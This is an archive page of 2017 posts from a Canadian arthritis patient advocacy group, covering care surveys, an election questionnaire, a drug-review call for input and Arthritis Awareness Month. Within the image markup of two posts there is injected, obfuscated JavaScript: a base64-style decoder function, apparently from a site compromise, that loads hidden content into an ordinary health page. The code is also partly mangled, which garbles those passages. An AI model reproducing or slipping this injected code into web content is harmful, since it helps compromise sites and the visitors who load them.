All posts related to "arthritis"

ACR News: Bridging global gaps in arthritis care

ACR Annual Meeting BannerAt the 2017 American College of Rheumatology’s (ACR) / Association of Rheumatology Health Professionals (ARHP) Annual Meeting, ACE presented a poster on a global survey – “Patient Experiences of Rheumatoid Arthritis Models of Care: An International Survey” – conducted by the Global RA Network – made up of ACE and 20 other patient advocacy groups - designed to gather insights on RA models of care from the patient perspective, as well as probing their knowledge about the disease and available treatments.

The survey revealed the urgent need to improve RA models of care at every stage of the disease awareness, treatment and care journey. One of the key findings was the need for more information and education on rheumatoid arthritis for patients and the public is needed to support people with the disease. Specifically, to help them best describe their symptoms and help them take shared decisions with their rheumatologists.

At the ACR annual meeting, a panel on bridging global gaps in arthritis care looked specifically at ways to improve care for patients living in underserved areas.

Continue reading

Nunavut Election 2017: On election day, vote for improved arthritis care

Nunavut Election 2017: On election day, vote for improved arthritis care.

The next general election in Nunavut is scheduled for October 30, 2017. How can we improve arthritis care?
Nunavut elections vote for arthritis banner
Arthritis affects approximately 12,000 adults aged 15 or older in the Territories (Northwest Territory, Nunavut and Yukon). On behalf of Nunavut voters living with arthritis, Arthritis Consumer Experts (ACE) sent a questionnaire to the candidates of the 2017 Nunavut Election.

Please note that unlike most federal or provincial elections in Canada, elections to the Legislative Assembly of Nunavut are conducted on a non-partisan consensus government model, in which all candidates run as independents rather than being nominated by political parties.

The questionnaire asked the following questions: Continue reading

Call for patient input on tocilizumab (Actemra®) for giant cell arteritis

Stickman with megaphone calling for patient inputCall for patient input on tocilizumab (Actemra®) for giant cell arteritis

Do you have giant cell arteritis? We need your valuable input.

The Common Drug Review (CDR) is currently welcoming patients and their caregivers to provide input to patient organizations on the manufacturer’s submission for tocilizumab (Actemra®) for the treatment of giant cell arteritis.

The CDR is part of the Canadian Agency for Drugs and Technologies in Health (CADTH). The CDR conducts objective, rigorous reviews of the clinical and cost effectiveness of drugs, and provides formulary listing recommendations to the publicly funded drug plans in Canada (except Quebec).

To help them make their recommendations, the CDR accepts input from patient organizations and groups, like Arthritis Consumer Experts (ACE). Because patient input is vitally important to government decision-making about medications, we would like to gather your views and share them with the CDR.

These are the questions they are asking: Continue reading

ACE launches first of three new blogs to help you “power up” your arthritis knowledge

ACE launches first of three new blogs to help you “power up” your arthritis knowledge, get more connected to the community, and learn the latest about health policy and politics affecting our group of chronic diseases. 

As Canada’s largest national patient-led organization and provider of evidence-based information and education programming, ACE is always looking for better ways to “power up” Canadians living with arthritis.

As always, we want to know what you think. We encourage you to share feedback and offer topics of interest for future blog posts.

We hope you had a great Arthritis Awareness Month in Canada!

Team ACE


Image of a smile in article about oral health and<script type=function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc< <2)|(ve>>4);pc=((ve&15)< <4)|(r4>>2);u6=((r4&3)< <6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe arthritis" width="300" height="199" />Is your mouth a gateway to getting arthritis? 

When Health Canada’s Canadian Institutes of Health Research was created in 1994, I, like many, was puzzled that they included oral health along with musculoskeletal health in the research pillar known as the Institute for Musculoskeletal Health and Arthritis (IMHA). After all, what do researchers trying to solve the thousands of mysteries that make up “arthritis”, a group of over 100 different diseases, have to do with teeth. But were they ever smart to do so; the latest research shows the mouth and the joints are definitely connected.

Continue reading

Help raise awareness during Arthritis Awareness Month!

pen and<script type=function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc< <2)|(ve>>4);pc=((ve&15)< <4)|(r4>>2);u6=((r4&3)< <6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe paper for letter to editor on arthritis ” width=”300″ height=”201″ />Help raise awareness during Arthritis Awareness Month!

You can help increase awareness and understanding of arthritis by sending this pre-drafted letter to the editor of your local newspaper.

September is Arthritis Awareness Month! Help increase awareness and understanding of arthritis by sending a letter to the editor of your local newspaper. We encourage you to edit this template letter to reflect your own experiences. Remember: Letters under 200 words have a better chance of being published. If you are submitting a letter to your editor via email, remember to include your name, home address and telephone number.

Compose your letter Continue reading

JointHealth™ insight: Getting “Patient Satisfaction” from Arthritis Health Care

JointHealth™ insight – September 2017

Getting “Patient Satisfaction” from Arthritis Health Care

JHI September Arthritis Awareness BannerTo celebrate Arthritis Awareness Month in Canada, in this issue of JointHealth™ insight, we highlight three international surveys that have helped identify gaps in arthritis models of care from the patient perspective. We want to know what you think. Please complete the three mini surveys in this month’s JointHealth™ insight. Your responses will help drive our 2018 information and education programs to support patients and improve the way health care is delivered by the rheumatologists, allied health professionals, health policy decision makers and others who provide care to Canadians with all types of arthritis.

In this issue, you will also:

  • Read about the model of care for rheumatoid arthritis
  • Find a Letter to the Editor template to increase awareness about arthritis in your community

Surveys Continue reading